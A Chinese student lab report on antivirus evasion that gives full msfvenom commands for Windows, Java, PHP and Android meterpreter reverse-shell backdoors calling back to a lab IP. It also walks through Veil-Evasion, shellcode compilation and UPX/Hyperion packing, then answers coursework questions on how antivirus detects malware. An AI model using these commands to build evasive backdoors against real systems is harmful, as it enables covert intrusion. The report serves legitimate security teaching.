1. 实践内容(4分)

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

正确使用msf编码器

  • msfvenom -l encoders命令可以查看能使用的可以生成不同后门的许多编码器。
  • 将实验二中用msf命令生成的后门程序放到virscan网站中扫描结果如下:

    因此,后门程序如若不加以处理、掩饰,分分钟会被杀毒软件查出来。

    msfvenom生成如jar之类的其他文件

  • 我用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.70.141 LPORT=5321 -f exe > exp3_test.exe指令对后门程序进行10次编码,再上传到virscan上扫描,发现并没有什么变化。原因是msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。而AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。

    msfvenom生成如jar之类的其他文件

  • msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.70.141 lport=5321 x> exp3_jar_backdoor.jar指令生成jar文件
  • msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.70.141 lport=5321 x> exp3_php_backdoor.php指令生成php文件
  • msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.70.141 lport=5321 R> exp3_apk_backdoor.apk指令生成apk文件

    veil-evasion

    由于在github上下载veil-evasion速度太慢,我在CSDN上找到了资源,下载好后,拷贝进虚拟机解压安装。cd Veil-Evasion-master进入Veil-Evasion-master目录,bash setup/setup.sh -s启动安装。


    安装好后,./Veil-Evasion.py进入Veil。

    在Veil中输入use找到c/meterpreter/rev_tcp(第6条),输入6用c语言重写meterperter。设置反弹连接IP:set LHOST 192.168.70.142。设置端口:set LPORT 5321

    输入generate生成文件,然后输入playload的名字:20165321_payload

    上传到virscan网站上查一下,

    发现还是有能被查杀到。

    半手工注入Shellcode并执行

    首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.141 LPORT=5321 -f c用c语言生成一段shellcode

    创建一个文件20165321.c,然后将unsigned char buf[]赋值到其中,代码如下:

    使用命令i686-w64-mingw32-g++ 20165321.c -o 5321.exe编译这个.c文件为可执行文件,然后把该文件上传到virscan上查一下,结果还是能查出来。

    加壳

    加压缩壳

    使用upx 5321.exe -o 5321upx.exe加压缩壳

    结果还是被查出来了。

    加加密壳

    5321upx.exe拷贝到/usr/share/windows-binaries/hyperion/下,并且进入到这个文件目录,使用终端输入命令wine hyperion.exe -v 5321upx.exe 5321upx_hyperion.exe进行加加密壳

    结果然并卵

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

  • 对半手工制作shellcode加压缩壳不能达到免杀的目的,加密壳有一定的几率是可以达到了免杀的目的。
  • 加密壳的免杀和反弹连接:

2.基础问题回答

(1)杀软是如何检测出恶意代码的?

答:
1、根据特征码:病毒中的一/多段代码;特征码库就是黑名单。
2、启发式:如果一只鸟叫得像鸭子,走得像鸭子,长得像鸭子,那它就是一只鸭子。
3、根据行为:在启发式基础上对软件行为进行监控

(2)免杀是做什么?

免杀即“反杀毒技术”,让安插的后门不被AV软件发现。通过改变代码的特征,让杀毒软件成为摆设,防止被杀软查杀的一种技术。

(3)免杀的基本方法有哪些?

修改方法:

  • 直接修改特征码的十六进制法
  • 修改字符串大小写法
  • 等价替换法
  • 指令顺序调换法
  • 通用跳转法
  • 一键加壳法

    3.实践总结与体会

    本次实验,让我体会到杀毒软件的不足之处,与病毒的特征之一的隐蔽性。想必我们的电脑里面应该会存在一些隐藏起来的病毒,而我们并不知道。以后我要加强对自己电脑的防范。

    4.开启杀软能绝对防止电脑中恶意代码吗?

    不能。

2018-2019-2 网络对抗技术 20165321 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. Python实现简单的HttpServer

    要写一个类似tomcat的简易服务器,首先需弄清楚这几点: 1. 客户端(Client)和服务端(Server)的角色及作用 角色A向角色B请求数据,这时可以把A视为客户端,B视为服务端.客户端的主要 ...

  2. 到底什么时候该使用MQ?

    一.缘起 一切脱离业务的架构设计与新技术引入都是耍流氓. 引入一个技术之前,首先应该解答的问题是,这个技术解决什么问题. 就像微服务分层架构之前,应该首先回答,为什么要引入微服务,微服务究竟解决什么问 ...

  3. 指针数组&数组指针

    数组指针(也称行指针) 定义 int (*p)[n]; ()优先级高,首先说明p是一个指针,指向一个整型的一维数组,这个一维数组的长度是n,也可以说是p的步长.也就是说执行p+1时,p要跨过n个整型数 ...

  4. 解决 RecyclerView 在Android Studio已经导入情况下还无法实例引用问题

    系统:Windows 10 IDE::android studio 1. 问题:RecyclerView 在Android Studio已经导入情况下还无法实例引用问题 由于RecyclerView是 ...

  5. 在.NET开发中的单元测试工具之(2)——xUnit.Net

    在上一篇<在.NET开发中的单元测试工具之(1)——NUnit>中讲述了如何使用NUnit在.NET开发中进行单元测试以及NUnit的一些缺点,今天将讲述如何使用xUnit.Net来进行单 ...

  6. webpack配置css相关loader注意先后顺序

    一.问题描述 在webpack3中,引入animate.css失败. 二.问题分析 1.难道是入口main.js引用方式不对? import animate from 'animate.css' 2. ...

  7. [PKUSC2018]星际穿越

    [PKUSC2018]星际穿越 题目大意: 有一排编号为\(1\sim n\)的\(n(n\le3\times10^5)\)个点,第\(i(i\ge 2)\)个点与\([l_i,i-1]\)之间所有点 ...

  8. vue PC端项目中解决userinfo问题

    在vue2 中用脚手架建立的项目,后端提供接口获取数据.在公司做第一个项目的时候不清楚公司里的对接流程,结果后续代码被一个接口整的乱七八糟,这个接口是获取用户信息的接口——'usre/info'. 如 ...

  9. Ganglia 调试技巧

    转自:http://blog.csdn.net/xxd851116/article/details/25109043 Gmond # 检查Gmond服务是否正在运行,发出如下命令:ps aux | g ...

  10. [LeetCode] Minimum Distance Between BST Nodes 二叉搜索树中结点的最小距离

    Given a Binary Search Tree (BST) with the root node root, return the minimum difference between the ...